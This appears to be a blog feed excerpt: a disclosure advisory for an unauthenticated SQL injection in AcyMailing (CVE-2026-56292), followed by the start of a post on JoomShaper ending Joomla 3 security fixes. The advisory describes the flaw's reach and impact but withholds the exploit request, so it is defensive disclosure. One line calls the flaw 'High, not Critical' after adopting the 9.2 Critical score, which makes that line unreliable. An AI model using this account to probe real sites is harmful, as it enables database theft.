&lt;h2&gt;Which versions are affected?&lt;/h2&gt;
&lt;p&gt;Every AcyMailing release from 6.0.0 up to and including &lt;strong&gt;10.11.0&lt;/strong&gt; contains the affected code path. The fix shipped in &lt;strong&gt;AcyMailing 10.11.1&lt;/strong&gt; on &lt;strong&gt;9 July 2026&lt;/strong&gt;. The issue is tracked as &lt;strong&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-56292/&quot;&gt;CVE-2026-56292&lt;/a&gt;&lt;/strong&gt;, assigned by the &lt;a href=&quot;https://www.joomla.org/announcements/general-news/5829-joomla-is-now-running-its-own-cve-numbering-authority-cna.html&quot;&gt;Joomla CNA&lt;/a&gt;.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;If you run any version of AcyMailing earlier than 10.11.1, assume your site is affected and update now. Do not wait to confirm exploitation - by the time you can confirm it, the data is already gone.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;WordPress is affected too, not just Joomla&lt;/h2&gt;
&lt;p&gt;This is the part people will miss. &lt;strong&gt;AcyMailing for WordPress is affected by exactly the same vulnerability.&lt;/strong&gt; AcyMailing is not a Joomla-only extension. It ships as a plugin for WordPress as well, built from the same codebase, and both editions have the same public front-end endpoint and the same unsanitised query. The fix, version 10.11.1, is the fix for both.&lt;/p&gt;
&lt;p&gt;You do not have to take our word for the cross-platform scope, because the vendor’s own changelog says so. Look again at the screenshot below: the entry is flagged with &lt;strong&gt;both the Joomla and the WordPress logos&lt;/strong&gt;. Acyba shipped one patch, on one day, for both CMS platforms, because it is one bug in one shared engine.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;If you run the AcyMailing plugin on WordPress, everything in this post applies to you. The affected range is the same (6.0.0 up to and including 10.11.0), the fix is the same (10.11.1), and an anonymous visitor could read your WordPress database, including your &lt;code&gt;wp_users&lt;/code&gt; table and the password hashes in it. Update the AcyMailing plugin now.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;The version numbering is shared across both editions, which makes this easy to reason about. Whether the plugin sits in a Joomla site’s Components menu or a WordPress site’s Plugins list, the number to get to is &lt;strong&gt;10.11.1&lt;/strong&gt;. Anything from 6.0.0 to 10.11.0 is vulnerable on either platform.&lt;/p&gt;
&lt;h3&gt;How to update AcyMailing on WordPress&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Back up first.&lt;/strong&gt; As on Joomla, take a database and files backup before you touch the plugin. mySites.guru can &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;snapshot every connected WordPress site with one click&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update the plugin.&lt;/strong&gt; In the WordPress admin, go to Plugins, then Updates, and update AcyMailing to 10.11.1. If it is not offered yet, download the latest build from your AcyMailing account and upload it under Plugins, then Add New, then Upload Plugin. If you manage many WordPress sites, do it &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;in bulk from the mySites.guru dashboard&lt;/a&gt; rather than logging into each &lt;code&gt;wp-admin&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Confirm the version&lt;/strong&gt; shows 10.11.1 or later, and clear any page or object cache.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;A note on how WordPress sites get flagged&lt;/h3&gt;
&lt;p&gt;For Joomla, we maintain our own extension vulnerability database and we have already added AcyMailing to it, so every connected Joomla site below 10.11.1 is flagged automatically within the hour. For WordPress, we have added AcyMailing to our &lt;a href=&quot;https://mysites.guru/blog/wordpress-plugin-vulnerability-alerting/&quot;&gt;WordPress plugin vulnerability tracking&lt;/a&gt; as well, so your connected WordPress sites below 10.11.1 are flagged too. Either way, the extension search below works for WordPress installs right now, so you can find every affected site today.&lt;/p&gt;
&lt;h2&gt;The changelog barely mentions it&lt;/h2&gt;
&lt;p&gt;Here is the entire public description of this fix, as it appears on the &lt;a href=&quot;https://www.acymailing.com/changelog/&quot;&gt;official AcyMailing changelog&lt;/a&gt; for 10.11.1:&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;The AcyMailing 10.11.1 changelog entry dated July 9, 2026, under a &amp;quot;Vulnerability&amp;quot; heading, reading in full: &amp;quot;A vulnerability allowing SQL injection has been patched. Updating is strongly recommended.&amp;quot; No mention that the flaw is unauthenticated, that it exposes user password hashes, or that an anonymous visitor could read the whole database&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1870px) 1870px, 100vw&quot; width=&quot;1870&quot; height=&quot;648&quot; src=&quot;https://mysites.guru/_astro/acymailing-10-11-1-changelog.BL6v7Otu_Z1ObTEX.webp&quot; srcset=&quot;https://mysites.guru/_astro/acymailing-10-11-1-changelog.BL6v7Otu_1aVKfX.webp 640w, https://mysites.guru/_astro/acymailing-10-11-1-changelog.BL6v7Otu_1h9Qxq.webp 750w, https://mysites.guru/_astro/acymailing-10-11-1-changelog.BL6v7Otu_1nS1ff.webp 828w, https://mysites.guru/_astro/acymailing-10-11-1-changelog.BL6v7Otu_1stJki.webp 1080w, https://mysites.guru/_astro/acymailing-10-11-1-changelog.BL6v7Otu_1HA14i.webp 1280w, https://mysites.guru/_astro/acymailing-10-11-1-changelog.BL6v7Otu_Z25OKNN.webp 1668w, https://mysites.guru/_astro/acymailing-10-11-1-changelog.BL6v7Otu_Z1ObTEX.webp 1870w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;One line. It does not say the injection is unauthenticated, that an anonymous visitor with no account could reach it, or that it exposes user records and password hashes. If you triage updates by reading changelogs, this reads like a footnote, not the emergency it is.&lt;/p&gt;
&lt;p&gt;To show what “a vulnerability allowing SQL injection” actually means in practice, here is the output of our proof-of-concept against a local test install, with the extension left vulnerable. In a single anonymous request, with no login, it pulled back the Super Admin’s username and full bcrypt password hash, a row from the content table, and the database name and version:&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;Proof-of-concept output from the AcyMailing SQL injection against a local test site: line 1 shows the Joomla #__users table returning the admin username and a full bcrypt password hash, line 2 shows a #__content row with article id, title and created date, line 3 shows the database context of current user root, database name and MySQL version. All read by a single unauthenticated request&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 4768px) 4768px, 100vw&quot; width=&quot;4768&quot; height=&quot;382&quot; src=&quot;https://mysites.guru/_astro/acymailing-sqli-poc-output.7cEyDbAn_Z1kH7Rf.webp&quot; srcset=&quot;https://mysites.guru/_astro/acymailing-sqli-poc-output.7cEyDbAn_Z1MtLa.webp 640w, https://mysites.guru/_astro/acymailing-sqli-poc-output.7cEyDbAn_1WFNs6.webp 750w, https://mysites.guru/_astro/acymailing-sqli-poc-output.7cEyDbAn_258ozv.webp 828w, https://mysites.guru/_astro/acymailing-sqli-poc-output.7cEyDbAn_ZbQnMR.webp 1080w, https://mysites.guru/_astro/acymailing-sqli-poc-output.7cEyDbAn_GlMh4.webp 1280w, https://mysites.guru/_astro/acymailing-sqli-poc-output.7cEyDbAn_H0vj7.webp 1668w, https://mysites.guru/_astro/acymailing-sqli-poc-output.7cEyDbAn_1EzXEp.webp 2048w, https://mysites.guru/_astro/acymailing-sqli-poc-output.7cEyDbAn_2uyhy6.webp 2560w, https://mysites.guru/_astro/acymailing-sqli-poc-output.7cEyDbAn_Z1kH7Rf.webp 4768w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;That is a local test site with throwaway data, not a customer’s, and we are not releasing the request that produced it. But it is the concrete version of the changelog’s one euphemistic line: an anonymous visitor reading the credentials table out of the database.&lt;/p&gt;
&lt;p&gt;This is the same trap we keep flagging. The &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms remote code execution fix&lt;/a&gt; appeared under a plain “Fixed” heading, and JoomShaper shipped a critical Helix3 patch under a changelog that &lt;a href=&quot;https://mysites.guru/blog/helix3-security-update-changelog-failure/&quot;&gt;just read “Security Update”&lt;/a&gt;. The words a vendor puts in a changelog are a poor guide to how urgently you need to update. The version number is what matters: anything below 10.11.1 needs updating now. It happened again with AcyMailing 11.1.0, whose two security fixes were &lt;a href=&quot;https://mysites.guru/blog/acymailing-11-1-0-security-release/&quot;&gt;filed under Bug fixes&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;How do you update AcyMailing safely?&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Take a backup first.&lt;/strong&gt; Before any extension update on a production Joomla site, back up the database and files. If you use mySites.guru, &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;trigger a snapshot&lt;/a&gt; or a &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;full backup&lt;/a&gt; so you have a clean starting point to compare from.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update through Joomla’s Extensions manager, or in bulk from mySites.guru.&lt;/strong&gt; On a single site, open the Joomla administrator, go to System, then Update, then Extensions, and let Joomla pull AcyMailing 10.11.1. If it does not appear, use Find Updates, or download the latest package from the AcyMailing account area and install it over the top. If you manage more than one site, do not do this one panel at a time: use the mySites.guru &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass update feature to upgrade AcyMailing across every affected site from a single dashboard&lt;/a&gt;. We built the update runner to &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;push Joomla extension and WordPress plugin updates to thousands of sites at once&lt;/a&gt;, and you can even &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;enable auto-updates for any Joomla extension&lt;/a&gt; so a fix like this applies without you lifting a finger.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Confirm the version.&lt;/strong&gt; After updating, open Components, then AcyMailing, and check the version shown is 10.11.1 or later. In mySites.guru, the &lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/4a67f84d1bc674c196c7b3e60448f6a9&quot;&gt;extension search&lt;/a&gt; confirms in one view that no connected site is still below 10.11.1.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Clear caches.&lt;/strong&gt; Clear Joomla’s cache and any CDN or page cache so stale front-end assets do not linger.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Updating closes the door. It does not undo any data an attacker may already have read, so if you handle sensitive subscriber data and were on a vulnerable version for a long time, treat credentials and any exposed data as potentially known.&lt;/p&gt;
&lt;h2&gt;How mySites.guru handles this across many sites&lt;/h2&gt;
&lt;p&gt;Updating one site is easy. The hard part, if you manage dozens or hundreds of Joomla sites, is knowing &lt;strong&gt;which&lt;/strong&gt; ones run AcyMailing and which of those are still on a vulnerable version. Checking each admin panel by hand does not scale.&lt;/p&gt;
&lt;p&gt;mySites.guru already tracks the installed extensions and versions on every connected site. When a security issue like this appears, we add the affected version range to our vulnerability database, and every connected site running a vulnerable version of AcyMailing is flagged automatically. You see, in one place, exactly which sites need updating, and you can push the update from the dashboard rather than logging into each one.&lt;/p&gt;
&lt;p&gt;If you are already a mySites.guru subscriber, the &lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/4a67f84d1bc674c196c7b3e60448f6a9&quot;&gt;AcyMailing extension search page&lt;/a&gt; lists every installed version across all your connected Joomla sites, grouped by version number. Filter for anything below 10.11.1 to see which sites still need the update.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;View all your AcyMailing installations&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/4a67f84d1bc674c196c7b3e60448f6a9&quot;&gt;Open AcyMailing Extension Search&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Lists every installed version across all your connected Joomla sites. Filter for anything below 10.11.1 to find the installations that need updating.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;This is what we built the platform for. You should not have to learn about a Joomla security issue from the news and then go audit a portfolio of client sites by hand. The dashboard tells you what is exposed and lets you fix it from one place.&lt;/p&gt;
&lt;p&gt;Learn more about &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;automatic updates for any Joomla extension&lt;/a&gt; and how the &lt;a href=&quot;https://mysites.guru/joomla-hacked/&quot;&gt;suspect content tool&lt;/a&gt; helps after an incident.&lt;/p&gt;
&lt;h2&gt;Why newsletter extensions are a quiet attack surface&lt;/h2&gt;
&lt;p&gt;This is a pattern, not a one-off, and it is why the class of bug matters more than this single instance. Newsletter and form extensions make attractive targets for the same reason they are useful: they expose front-end endpoints that anonymous visitors are meant to reach. Subscribe forms, unsubscribe links, click tracking, archive pages - none of that can require a login.&lt;/p&gt;
&lt;p&gt;Every one of those public endpoints is attack surface. When the code behind them trusts request input, or hands it to a database query without escaping, an anonymous visitor becomes an anonymous attacker. We have seen the same class of issue across form builders like &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms&lt;/a&gt;, page builders like &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;PageBuilder CK&lt;/a&gt;, template frameworks like &lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain&lt;/a&gt;, and editors like &lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-6-security-update/&quot;&gt;JCE&lt;/a&gt;: a public task that reaches a dangerous operation with too little checking in between.&lt;/p&gt;
&lt;p&gt;The lesson for site owners is not “avoid newsletter extensions”. They are fine, and the reputable ones are well maintained. The lesson is that &lt;strong&gt;keeping them updated is security-critical, not just feature maintenance&lt;/strong&gt;. A newsletter extension two versions behind is not a cosmetic problem.&lt;/p&gt;
&lt;h2&gt;What to do right now&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Update every &lt;strong&gt;Joomla and WordPress&lt;/strong&gt; site running AcyMailing to &lt;strong&gt;10.11.1&lt;/strong&gt; or later, one at a time or &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;in bulk from one dashboard&lt;/a&gt;. The current release is 11.1.0, which includes two later security fixes, so update straight to that&lt;/li&gt;
&lt;li&gt;If you manage multiple sites, let mySites.guru show you which ones are still exposed rather than checking by hand&lt;/li&gt;
&lt;li&gt;Take a backup before updating, and clear caches afterwards&lt;/li&gt;
&lt;li&gt;If you were on a vulnerable version for a long time and handle sensitive data, treat any exposed data as potentially read, and if you suspect a breach, &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;find any hacked files and backdoors&lt;/a&gt; and follow our guide to &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;fixing a hacked Joomla or WordPress site&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Disclosure timeline and CVE&lt;/h2&gt;
&lt;p&gt;This flaw is tracked as &lt;strong&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-56292/&quot;&gt;CVE-2026-56292&lt;/a&gt;&lt;/strong&gt;, assigned by the &lt;a href=&quot;https://www.joomla.org/announcements/general-news/5829-joomla-is-now-running-its-own-cve-numbering-authority-cna.html&quot;&gt;Joomla CNA&lt;/a&gt;, the body that assigns identifiers for Joomla and its extensions, and crediting Phil Taylor of mySites.guru as the reporter.&lt;/p&gt;
&lt;p&gt;The Joomla CNA published the record on 9 July 2026 at &lt;strong&gt;CVSS 4.0 9.2, Critical&lt;/strong&gt;, on the vector &lt;code&gt;AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:L/SC:H/SI:H/SA:H&lt;/code&gt;, classified CWE-89. Our own pre-assignment read was 8.7 High, scored as a pure read against the component alone (&lt;code&gt;VC:H&lt;/code&gt; with everything else at none). The CNA scored the subsequent-system impact of reading credentials out of the database as &lt;code&gt;SC:H/SI:H/SA:H&lt;/code&gt;, which is what has it into Critical. We have adopted the official figure here. For reference, the vector we originally used was &lt;code&gt;AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N&lt;/code&gt;: reachable over the network, low complexity, no privileges and no user interaction, with high impact to the confidentiality of the site’s data. It is not a 10.0 like the recent &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;Page Builder CK&lt;/a&gt; file-upload flaws: this is a read-only injection, so it scores maximum on confidentiality but nothing on integrity or availability. An attacker can read your entire database, but this specific flaw does not let them write to it or take the site down. This is High, not Critical, and it is still an emergency when what leaks is every user record and password hash.&lt;/p&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      &lt;span&gt;9.2&lt;/span&gt;
      &lt;span&gt;CVSS 4.0&lt;/span&gt;
    &lt;/div&gt;
    &lt;div&gt;
      &lt;p&gt;
        &lt;span&gt;Critical&lt;/span&gt;
        &lt;span&gt;Published by the Joomla CNA, 9 July 2026&lt;/span&gt;
      &lt;/p&gt;
      &lt;p&gt;Unauthenticated, exploitable over the internet in a single request with no user interaction, ending in full read access to the site database. It falls short of 10.0 only because it is a read, not a write: high confidentiality impact, but no integrity or availability impact.&lt;/p&gt;
      &lt;div&gt;
        &lt;span&gt;No login needed&lt;/span&gt;
        &lt;span&gt;Exploitable over the internet&lt;/span&gt;
        &lt;span&gt;No user interaction&lt;/span&gt;
        &lt;span&gt;Full database read&lt;/span&gt;
        &lt;span&gt;Password hashes exposed&lt;/span&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;













































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Field&lt;/th&gt;&lt;th&gt;Detail&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;CVE&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-56292/&quot;&gt;CVE-2026-56292&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Component&lt;/td&gt;&lt;td&gt;AcyMailing for Joomla (&lt;code&gt;com_acym&lt;/code&gt;) and AcyMailing for WordPress (&lt;code&gt;acymailing&lt;/code&gt; plugin)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Vendor&lt;/td&gt;&lt;td&gt;Acyba (&lt;a href=&quot;https://www.acymailing.com/&quot;&gt;acymailing.com&lt;/a&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Type&lt;/td&gt;&lt;td&gt;Unauthenticated SQL injection (CWE-89)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CVSS 4.0&lt;/td&gt;&lt;td&gt;9.2 (Critical), &lt;code&gt;AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:L/SC:H/SI:H/SA:H&lt;/code&gt;, CWE-89, as published by the Joomla CNA. Our pre-assignment read was 8.7 High&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Impact&lt;/td&gt;&lt;td&gt;Anonymous read access to any database table, including user accounts and password hashes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Finder&lt;/td&gt;&lt;td&gt;Phil Taylor, mySites.guru&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Affected versions&lt;/td&gt;&lt;td&gt;6.0.0 up to and including 10.11.0, on both Joomla and WordPress&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Fixed in&lt;/td&gt;&lt;td&gt;10.11.1, released 9 July 2026&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The disclosure ran on a fast cycle from discovery to fix, and the &lt;a href=&quot;#timeline&quot;&gt;full timeline is at the foot of this post&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-07&lt;/strong&gt; Early July: we find the injection and report it privately Routine security research on the extensions our customers rely on turns up an unauthenticated SQL injection in AcyMailing. We confirm it against the code, prove it on a local install by reading a Super Admin password hash back out of the database, and disclose it to Acyba with all public detail withheld.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-09&lt;/strong&gt; Acyba ships AcyMailing 10.11.1 for both Joomla and WordPress The fix closes the flaw on both platforms. The changelog entry says only that a SQL injection has been patched, with no mention that it needed no login or that password hashes were reachable through it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-09&lt;/strong&gt; CVE-2026-56292 is published at CVSS 4.0 9.2, Critical The Joomla CNA assigns and publishes the record the same day, crediting Phil Taylor of mySites.guru as the finder. Our own pre-assignment read was 8.7 High; the CNA also scored the impact of reading credentials out of the database into other systems, which is what takes it into Critical.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-09&lt;/strong&gt; We flag every affected site and publish this write-up The affected range goes into our Joomla and WordPress vulnerability databases, so every connected site below 10.11.1 is flagged automatically. No proof of concept is released.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;Our month-long run of Joomla security disclosures&lt;/a&gt; - the wider picture this AcyMailing SQL injection was part of&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-56292/&quot;&gt;CVE-2026-56292&lt;/a&gt; - our record page for this CVE, with the details assigned by the Joomla CNA&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/acymailing-11-1-0-security-release/&quot;&gt;AcyMailing 11.1.0 security release&lt;/a&gt; - two more AcyMailing security fixes, filed under Bug fixes and later published as CVE-2026-94132 and CVE-2026-94131&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.acymailing.com/&quot;&gt;AcyMailing official site and downloads&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.acymailing.com/changelog/&quot;&gt;AcyMailing official changelog&lt;/a&gt; (the 10.11.1 entry shown above)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre.html&quot;&gt;Joomla! Security Centre&lt;/a&gt; and the &lt;a href=&quot;https://www.joomla.org/announcements/general-news/5829-joomla-is-now-running-its-own-cve-numbering-authority-cna.html&quot;&gt;Joomla CNA&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.github.io/www-community/attacks/SQL_Injection&quot;&gt;OWASP: SQL Injection&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/J4.x:Updating_an_extension&quot;&gt;Joomla documentation: updating extensions&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;How mySites.guru mass-updates extensions across every site&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>wordpress</category><category>acymailing</category><category>sql injection</category><category>vulnerability</category><category>responsible disclosure</category><enclosure url="https://mysites.guru/img/og/blog/acymailing-sql-injection-disclosure.png" length="0" type="image/png"/></item><item><title>JoomShaper Ends Joomla 3 Security Fixes</title><link>https://mysites.guru/blog/joomshaper-drops-joomla-3-support/</link><guid isPermaLink="true">https://mysites.guru/blog/joomshaper-drops-joomla-3-support/</guid><description>JoomShaper ended Joomla 3 support with no security fixes regardless of severity, then reversed the security half six days later and shipped patches.</description><pubDate>Thu, 09 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;div&gt;
  &lt;p&gt;Update, 15 July 2026: JoomShaper has reversed this&lt;/p&gt;
  &lt;p&gt;Six days after the announcement below, JoomShaper released Joomla 3 security patches for Helix Ultimate, Helix3 and SP Page Builder. The &quot;no security patches, regardless of severity&quot; line no longer holds. The rest of the policy does: no new features, no bug fixes, no technical support, and Joomla 3 remains end of life. The patch has a version gate that stops it installing on older Helix builds. &lt;a href=&quot;https://mysites.guru/blog/joomshaper-reverses-joomla-3-decision/&quot;&gt;Read our breakdown of what is in the patches&lt;/a&gt;. Two more followed, and on 27 August 2026 JoomShaper shipped &lt;a href=&quot;https://mysites.guru/blog/helix-ultimate-third-joomla-3-security-patch/&quot;&gt;a third Joomla 3 security patch for Helix Ultimate&lt;/a&gt;. The article below stands as written on 9 July.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;JoomShaper, the developer behind SP Page Builder and the Helix framework, has stopped supporting Joomla 3. In &lt;a href=&quot;https://www.joomshaper.com/blog/joomshaper-drops-joomla-3-support&quot;&gt;an announcement on 9 July 2026&lt;/a&gt; the company confirmed that the Joomla 3 versions of all its products now get no updates, and the key line is stark: “No security patches, regardless of severity.” On the company’s stated policy, a critical flaw in the Joomla 3 build of SP Page Builder tomorrow does not get fixed.&lt;/p&gt;
&lt;p&gt;That is a defensible decision, and JoomShaper explains it well: they can secure their own code, but “we can’t secure the Joomla core underneath it,” and the Joomla 3 core has been end of life for a long time. The problem is not the decision. The problem is how many live sites this leaves exposed, and how recently JoomShaper’s own extensions have produced exactly the kind of flaw this policy now leaves unpatched.&lt;/p&gt;
&lt;figure&gt;
  &lt;blockquote&gt;“No security patches, regardless of severity.”&lt;/blockquote&gt;
  &lt;figcaption&gt;JoomShaper, on Joomla 3 support, 9 July 2026&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;h2&gt;What JoomShaper Actually Announced&lt;/h2&gt;
&lt;p&gt;JoomShaper has ended support for the Joomla 3 versions of every product it makes. That covers SP Page Builder, the Helix framework (both Helix Ultimate and the older Helix3), EasyStore, Power Admin, and its Joomla templates. The Joomla 4, 5, and 6 builds of these products are unaffected and still supported. Only the Joomla 3 versions are frozen.&lt;/p&gt;
&lt;p&gt;The policy is blunt on purpose. No feature updates, no compatibility fixes, and no security patches “regardless of severity” for the Joomla 3 builds. JoomShaper’s stated reasoning is that patching its own extension does nothing when the platform beneath it, the Joomla 3 core, no longer receives fixes either. That is true, and it is the honest position. It also means a Joomla 3 site running these extensions now has two unpatched layers instead of one.&lt;/p&gt;
&lt;p&gt;One clarification worth making, because it gets muddled: Gantry is not a JoomShaper product. Gantry is a RocketTheme framework, and this announcement does not touch it. If you run Gantry-based templates, this specific news is not about you, though the wider Joomla 3 end-of-life problem still is.&lt;/p&gt;
&lt;h2&gt;Why This Is Worse Than a Normal End-of-Life Notice&lt;/h2&gt;
&lt;p&gt;Here is the editorial connection JoomShaper did not make, and it is ours, not theirs. Following a disastrous month of security issues for their products, they are freezing Joomla 3 support just as the risk to those products is at its most visible. SP Page Builder had a critical remote code execution flaw exploited in the wild, and the Helix framework produced two more serious issues in the same window. Now the Joomla 3 builds of exactly those products get no more fixes.&lt;/p&gt;
&lt;p&gt;In June 2026, SP Page Builder had an unauthenticated file upload vulnerability, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-48908/&quot;&gt;CVE-2026-48908&lt;/a&gt;, scored CVSS 10.0, the maximum. It let anyone on the internet upload and run a file with no login, and it was &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/&quot;&gt;used in the wild to plant hidden Joomla Super User accounts&lt;/a&gt;. JoomShaper fixed it promptly in version 6.6.2. That fix reached Joomla 4, 5, and 6 sites. Under the policy announced this week, the equivalent fix for a Joomla 3 site would not exist.&lt;/p&gt;
&lt;p&gt;This is not hypothetical. SP Page Builder and Helix are among the most widely installed Joomla extensions in the world, the kind of large, front-facing code that keeps producing this class of bug. A vulnerability of the same severity will turn up again. On the policy as announced, Joomla 3 sites would be on their own when it does. JoomShaper has since patched Joomla 3 once, on 15 July, without committing to do it again.&lt;/p&gt;
&lt;h2&gt;How Many Sites Does This Affect?&lt;/h2&gt;
&lt;p&gt;More than half of all live Joomla sites. According to &lt;a href=&quot;https://w3techs.com/technologies/details/cm-joomla&quot;&gt;W3Techs&lt;/a&gt;, as of July 2026 Joomla 3 still accounts for 54.3 percent of every Joomla site online, the single largest share by version. Joomla 5 sits at around 20 percent, Joomla 4 under 10, and Joomla 6 is still in the single digits.&lt;/p&gt;
&lt;p&gt;That number is the whole story. This is not a niche announcement affecting a handful of legacy holdouts. It is a policy change that applies to the majority of the Joomla web, most of which also runs SP Page Builder or Helix because those are the tools people built Joomla 3 sites with in the first place. If you manage Joomla sites for clients, the odds are high that some of them fall in exactly this gap.&lt;/p&gt;
&lt;h2&gt;How Do I Find Every Joomla 3 Site I Manage?&lt;/h2&gt;
&lt;p&gt;The first job is knowing your exposure, and doing it by hand does not scale. Logging into each site to check its Joomla version and installed extensions is fine for three sites and impossible for thirty. You need one screen that shows every site, its Joomla version, and which JoomShaper extensions each one runs.&lt;/p&gt;
